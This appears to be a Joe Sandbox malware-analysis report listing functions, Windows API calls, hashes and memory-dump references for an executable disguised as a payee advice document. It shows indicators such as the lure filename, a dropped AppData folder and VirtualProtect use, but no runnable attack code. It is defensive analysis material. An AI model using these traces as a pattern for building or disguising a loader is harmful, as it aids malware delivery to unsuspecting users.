Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 9329ecf0762317e958e6b8c98019b4f1cdb7ae87d52addd692e319db29120862
Instruction ID: 4da21f5269aa326e6de85e385cb401583d451f1930efd1289825586750b78c36
Opcode Fuzzy Hash: 9329ecf0762317e958e6b8c98019b4f1cdb7ae87d52addd692e319db29120862
Instruction Fuzzy Hash: 84E08CB2B04104DBDB50AFF4AA889DD7378AB90369B20087BF402F10D1C2B86C008E3E

Function 00405B56 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,00402DFF,C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe,80000000,00000003), ref: 00405B5A
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B7C

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 29e75e61bcb11788d424f4f71b5fd4206a8d95c56bb837550d9b6456a4565c05
Instruction ID: 50e17d5b3030c5d5ce0b1439250f6e41608f831a0cbc2ce1bc41554210f96241
Opcode Fuzzy Hash: 29e75e61bcb11788d424f4f71b5fd4206a8d95c56bb837550d9b6456a4565c05
Instruction Fuzzy Hash: 48D09E71658201EFFF098F20DE16F2EBBA2EB84B00F10562CB656940E0D6715815DB16

Function 00405B31 Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,00405736,?,?,00000000,0040590C,?,?,?,?), ref: 00405B36
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405B4A

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 602326d4d9bd9ed3cd650c2996e001abd569afca198e3c7fdfe54113d0d0341f
Instruction ID: 0892b5ef0b2723f07dcd522954823931705bd605f292322b3a664a2a0928558f
Opcode Fuzzy Hash: 602326d4d9bd9ed3cd650c2996e001abd569afca198e3c7fdfe54113d0d0341f
Instruction Fuzzy Hash: CDD0C972908020AFC2103728AE0C89BBB65DB543717018B31F965A22B0C7305C528AA6

Function 00402253 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

WritePrivateProfileStringW.KERNEL32(00000000,00000000,?,00000000), ref: 0040228A

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: ec4fb41ec1acd106f93cf616f3cd4c0d3577891546256094c6c4aadbcc0c0451
Instruction ID: 4332bbb19f5efe4f35bb732f6f353b7f8865d75a24debaa01da2fd7198b4a795
Opcode Fuzzy Hash: ec4fb41ec1acd106f93cf616f3cd4c0d3577891546256094c6c4aadbcc0c0451
Instruction Fuzzy Hash: 18E04F329041246ADB113EF20E8DE7F31689B44718B24427FF551BA1C2D5BC1D434669

Function 00402C44 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000B6D,00000000,00000022,00000000,?,?), ref: 00402C6C

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 4e0e47c2d07e12dc62bd4475595d204c43dc26f216d837d31c208bac29f0ca72
Instruction ID: 83e72149abe1372da0a381261de05d436a54b8bdbe31dfced4d63089b9680d6c
Opcode Fuzzy Hash: 4e0e47c2d07e12dc62bd4475595d204c43dc26f216d837d31c208bac29f0ca72
Instruction Fuzzy Hash: A0E04F7624010CBADB00DFA4ED46F9577ECEB14705F108425B608D6091C674E5008768

Function 00405BD9 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00409230,00000000,00000000,00000000,00000000,00413E78,0040BE78,0040330C,00409230,00409230,004031FE,00413E78,00004000,?,00000000,?), ref: 00405BED

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 706c1f52c55adc451273f1d2a5d46862a6587a7fe095f8bbabcbc32b8b015297
Instruction ID: e5271f86abd3e691175676240f3b6d2dabcfddd4658b863dc1b472273301a449
Opcode Fuzzy Hash: 706c1f52c55adc451273f1d2a5d46862a6587a7fe095f8bbabcbc32b8b015297
Instruction Fuzzy Hash: 8EE08632104259ABDF109E548C04EEB775CFB04350F044432F911E3140D231E820DBA4

Function 1000278D Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(1000405C,00000004,00000040,1000404C), ref: 100027AB

Memory Dump Source

Source File: 00000000.00000002.2690936672.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2690910719.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2690980563.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2691009289.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction ID: 267fa8ad402a2f1685f06aa6efb9df116a04c7e31b4918ac066fddfc95f4d9be
Opcode Fuzzy Hash: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction Fuzzy Hash: 5EF092F15097A0DEF350DF688C847063BE0E7483C4B03852AE368F6268EB344044CF19

Function 00402295 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,?,?,?,000003FF,00000000), ref: 004022C6

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: 72cdf40c1bf6f5db5f4d9709fda42ed23ef015487cba6367b71ebc3a35df21ba
Instruction ID: 80fa8228d7b44b53eec3e7c38ed93a9451a1703e345daa2b135a9f68ba926bbf
Opcode Fuzzy Hash: 72cdf40c1bf6f5db5f4d9709fda42ed23ef015487cba6367b71ebc3a35df21ba
Instruction Fuzzy Hash: 38E04F30800204BADB00AFA0CD49EAE3B78BF11344F20843AF581BB0D1E6B895809759

Function 0040159B Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(00000000,?,000000F0), ref: 004015A6

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: c271530863e58661098a5c30559a627ee948be805f1aaa302f87f5e4c73ddd49
Instruction ID: f4c604eae2506afdbcc8ec41f9b2bc8be0b1ceb91ea8510f154d928e9cd5b687
Opcode Fuzzy Hash: c271530863e58661098a5c30559a627ee948be805f1aaa302f87f5e4c73ddd49
Instruction Fuzzy Hash: A4D012B2B08100D7DB10DFE59A08ADDB7699B10329F304A77D101F21D0D2B885419A2A

Function 00404164 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,00403F90), ref: 00404172

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 7da09c7c9c972ac789da334295fdd31a978bd1861dc1653affe8cad2486e61eb
Instruction ID: f15b28e5f211e7e8d1db6812d8cffd834990aabd0fd5fa3204c122ebb67abe5b
Opcode Fuzzy Hash: 7da09c7c9c972ac789da334295fdd31a978bd1861dc1653affe8cad2486e61eb
Instruction Fuzzy Hash: 2BB01235684202BBEE314B00ED0DF957E62F76C701F008474B340240F0CAB344B2DB09

Function 0040330F Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402FE7,?), ref: 0040331D

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 3f2450370ff6ec370cb83e2696936d8051f71d6c0ea90f8f087f694b7f33879c
Instruction ID: 9708a756cc2c9ae94551e8e9c592081b607f980c3267f7876f2ac268d6c84cd7
Opcode Fuzzy Hash: 3f2450370ff6ec370cb83e2696936d8051f71d6c0ea90f8f087f694b7f33879c
Instruction Fuzzy Hash: B8B01231584200BFDA214F00DE05F057B21A790700F10C030B304381F082712420EB5D

Function 004014D7 Relevance: 1.3, APIs: 1, Instructions: 17sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000000), ref: 004014E6

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 35c76f566c1ebd9d6b02c32a207bcdc7b8f69ffae950b4dd1e6fa8c4e5a5d930
Instruction ID: ad5cbb4e8c7f0aba0b65fecb58585b4f8dfec95c15ef4476e698ddf4bc3863dd
Opcode Fuzzy Hash: 35c76f566c1ebd9d6b02c32a207bcdc7b8f69ffae950b4dd1e6fa8c4e5a5d930
Instruction Fuzzy Hash: 05D0C77771414097D750DBB86E8585B73ACD7513197204C73D542F1491D178D8018939

Function 1000121B Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000040,?,10001259,?,?,10001534,?,10001020,10001019,00000001), ref: 10001225

Memory Dump Source

Source File: 00000000.00000002.2690936672.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2690910719.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2690980563.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2691009289.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 9c514497dbeefca74e47a404b0d43d99d31e609484f565d326becb97793310f2
Instruction ID: 8a0ecea123cfc10dc9c303f5c75fb6a011d4279a03f0c54a853e6fb6a4ccb70c
Opcode Fuzzy Hash: 9c514497dbeefca74e47a404b0d43d99d31e609484f565d326becb97793310f2
Instruction Fuzzy Hash: E3B012B0A00010DFFE00CB64CC8AF363358D740340F018000F701D0158C53088108638

Non-executed Functions

Function 004052D3 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405332
GetDlgItem.USER32(?,000003EE), ref: 00405341
GetClientRect.USER32(?,?), ref: 0040537E
GetSystemMetrics.USER32(00000015), ref: 00405386
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004053A7
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004053B8
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004053CB
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004053D9
SendMessageW.USER32(?,00001024,00000000,?), ref: 004053EC
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040540E
ShowWindow.USER32(?,00000008), ref: 00405422
GetDlgItem.USER32(?,000003EC), ref: 00405443
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405453
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 0040546C
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405478
GetDlgItem.USER32(?,000003F8), ref: 00405350

Part of subcall function 00404164: SendMessageW.USER32(00000028,?,00000001,00403F90), ref: 00404172

GetDlgItem.USER32(?,000003EC), ref: 00405495
CreateThread.KERNEL32(00000000,00000000,Function_00005267,00000000), ref: 004054A3
CloseHandle.KERNEL32(00000000), ref: 004054AA
ShowWindow.USER32(00000000), ref: 004054CE
ShowWindow.USER32(?,00000008), ref: 004054D3
ShowWindow.USER32(00000008), ref: 0040551D
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405551
CreatePopupMenu.USER32 ref: 00405562
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405576
GetWindowRect.USER32(?,?), ref: 00405596
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004055AF
SendMessageW.USER32(?,00001073,00000000,?), ref: 004055E7
OpenClipboard.USER32(00000000), ref: 004055F7
EmptyClipboard.USER32 ref: 004055FD
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405609
GlobalLock.KERNEL32(00000000), ref: 00405613
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405627
GlobalUnlock.KERNEL32(00000000), ref: 00405647
SetClipboardData.USER32(0000000D,00000000), ref: 00405652
CloseClipboard.USER32 ref: 00405658

Strings

{, xrefs: 0040553B

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 0c7871d9c118b0e9bc82f4af322ee916726f515fd3ec4b55100c1069ec2247ae
Instruction ID: 9fa9afbe460ba73b362fbd7a7e80f39848d7c2b38d0fa32ac3ffaaa5a75fb061
Opcode Fuzzy Hash: 0c7871d9c118b0e9bc82f4af322ee916726f515fd3ec4b55100c1069ec2247ae
Instruction Fuzzy Hash: 4AB16B70900209BFDF219F60DD89AAE7B79FB04315F50803AFA05BA1A0C7759E52DF69

Function 004045CA Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 269stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404619
SetWindowTextW.USER32(00000000,?), ref: 00404643
SHBrowseForFolderW.SHELL32(?), ref: 004046F4
CoTaskMemFree.OLE32(00000000), ref: 004046FF
lstrcmpiW.KERNEL32(Call,004226D0,00000000,?,?), ref: 00404731
lstrcatW.KERNEL32(?,Call), ref: 0040473D
SetDlgItemTextW.USER32(?,000003FB,?), ref: 0040474F

Part of subcall function 004056AA: GetDlgItemTextW.USER32(?,?,00000400,00404786), ref: 004056BD

Part of subcall function 0040617E: CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,75923420,00403512), ref: 004061E1
Part of subcall function 0040617E: CharNextW.USER32(?,?,?,00000000), ref: 004061F0
Part of subcall function 0040617E: CharNextW.USER32(?,"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,75923420,00403512), ref: 004061F5
Part of subcall function 0040617E: CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,75923420,00403512), ref: 00406208

GetDiskFreeSpaceW.KERNEL32(004206A0,?,?,0000040F,?,004206A0,004206A0,?,00000000,004206A0,?,?,000003FB,?), ref: 00404810
MulDiv.KERNEL32(?,0000040F,00000400), ref: 0040482B
SetDlgItemTextW.USER32(00000000,00000400,00420690), ref: 004048B1

Strings

Call, xrefs: 0040472B, 00404730, 0040473B
C:\Users\user\AppData\Local\foreslaaende, xrefs: 0040471A
A, xrefs: 004046ED

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpi
String ID: A$C:\Users\user\AppData\Local\foreslaaende$Call
API String ID: 2246997448-3579533417
Opcode ID: 5e1be59e26550fe03483dde9140ef9c7df16d0723f1807c21cae017824fc49c2
Instruction ID: fc6e5784adbf23f3bf0ca4204261aafad130db7b69f5cfc08d06a9dfd3cb4e02
Opcode Fuzzy Hash: 5e1be59e26550fe03483dde9140ef9c7df16d0723f1807c21cae017824fc49c2
Instruction Fuzzy Hash: 1B916FB2900209ABDB11AFA1CC85AAF77B8EF85354F10847BF701B72D1D77C99418B69

Function 0040206A Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 123comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00407474,?,00000001,00407464,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 004020BD

Strings

C:\Users\user\AppData\Local\foreslaaende, xrefs: 004020FB

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
